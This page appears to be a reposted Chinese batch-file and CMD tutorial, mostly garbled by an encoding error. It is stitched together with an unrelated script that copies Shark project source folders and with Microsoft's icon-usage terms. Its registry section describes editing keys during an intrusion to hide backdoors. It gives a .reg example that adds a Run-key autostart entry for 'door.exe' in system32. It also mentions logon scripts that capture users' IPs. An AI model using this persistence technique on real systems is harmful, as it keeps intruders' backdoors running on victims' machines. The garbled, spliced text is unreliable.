看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?/p>
2.>?gt;>输出重定向命?br />一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>?x)清除调原有文g中的内容后写入指定文Ӟ?gt;>只会(x)q加内容到指定文件中Q而不?x)改动其中的内容?/p>
sample1Q?br />echo hello world>c://hello.txt (stupid example?)
sample2:
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ(gu)们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录:(x)
q行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?
日后如发现异怽用传l的Ҏ(gu)查不出问题时,则要考虑是不是系l中已经潜入DLL木马?
q时我们用同L(fng)命o(h)system32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o(h)比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?/p>
3.< ?gt;& ?lt;&
< 从文件中而不是从键盘中读入命令输入?br />>& 一个句柄的输出写入到另一个句柄的输入中?br /><& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?br />q些q不常用Q也׃多做介绍?/p>
No.5
?如何用批处理文g来操作注册表
在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也?x)修?gu)册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学?fn)一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g)
关于注册表的操作Q常见的是创建、修攏V删除?/p>
1.创徏
创徏分ؓ(f)两种Q一U是创徏子项(Subkey)
我们创徏一个文Ӟ内容如下Q?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//hacker]
然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft下创Z一个名字ؓ(f)“hacker”的子项?/p>
另一U是创徏一个项目名U?br />那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_(d)内容如下Q?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Invader"="Ex4rch"
"Door"=C:////WINNT////system32////door.exe
"Autodos"=dword:02
q样在[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]?br />新徏?Invader、door、aboutq三个项?br />Invader的类型是“String Value?br />door的类型是“REG SZ Value?br />Autodos的类型是“DWORD Value?/p>
2.修改
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?/p>
3.删除
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?/p>
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]
"Ex4rch"=-
执行该脚本,[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]下的"Ex4rch"p删除了;
--------------------------------------------------------------------------------
以上{载内?/p>
%CD% 当前路径current directory
ITH305 http://www.cs.ntu.edu.au/homepages/bea/home/subjects/ith305/ith305.html
批处理copy特定名称目录的内容:(x)
shark的模块有二十六个Q源文g分散在各个文件夹(如下)。用eclipse阅读的话要一个个把src文g的内容导入到目中。在家摆弄的时候ȝ惛_个方法来自动copyq些文g?人家分类分得好好的,我把他们合ƈ在一Pq是搞破坏哈)
文g目录形式:
shark-1.1
modules
SharkAPI
src
SharkApplicationMapPersistence
DODS
src
Hibernate
src
...
cpysrc.dat
@echo off
if "X%1"=="X" goto initialize
goto becalled
:initialize
if exist subdirs.txt del subdirs.txt>nul
dir /d /b /a:d> subdirs.txt
for /f %%i in (subdirs.txt ) do call E:\Resource\shark-1.1\modules\cpysrc.bat %%i
del subdirs.txt>nul
goto end
:becalled
if "%1"=="src" xcopy src\*.* E:\JavaApp\Shark\src\ /s && goto end
cd %1
call E:\Resource\shark-1.1\modules\cpysrc.bat
cd ..
:end
在cpysrc.bat保存到E:\Resource\shark-1.1\modules\下ƈ执行可以。cpysrc.bat遍历当前目录下的所有目录,qcopy名ؓ(f)src文g夹下的所有内容到E:\JavaApp\Shark\src\?/p>
Icons
Microsoft does not generally allow the use of our icons in advertising, in books and other printed matter, on clothing or other promotional items, on-line and internet locations, in software applications, in television programs, commercials, movies, or on video tape, as they are NOT to be used as "artwork" or design elements.
EXCEPTIONS: Use of our icons is permissible in relation to a training manual or documentation written for and/or about a Microsoft product. In such cases, use of Microsoft icons must be specific to the function of the icon within the Microsoft software, and not used as a graphical element or design for your own purposes. Further, icons cannot be modified or altered and must appear as they would within the Microsoft software.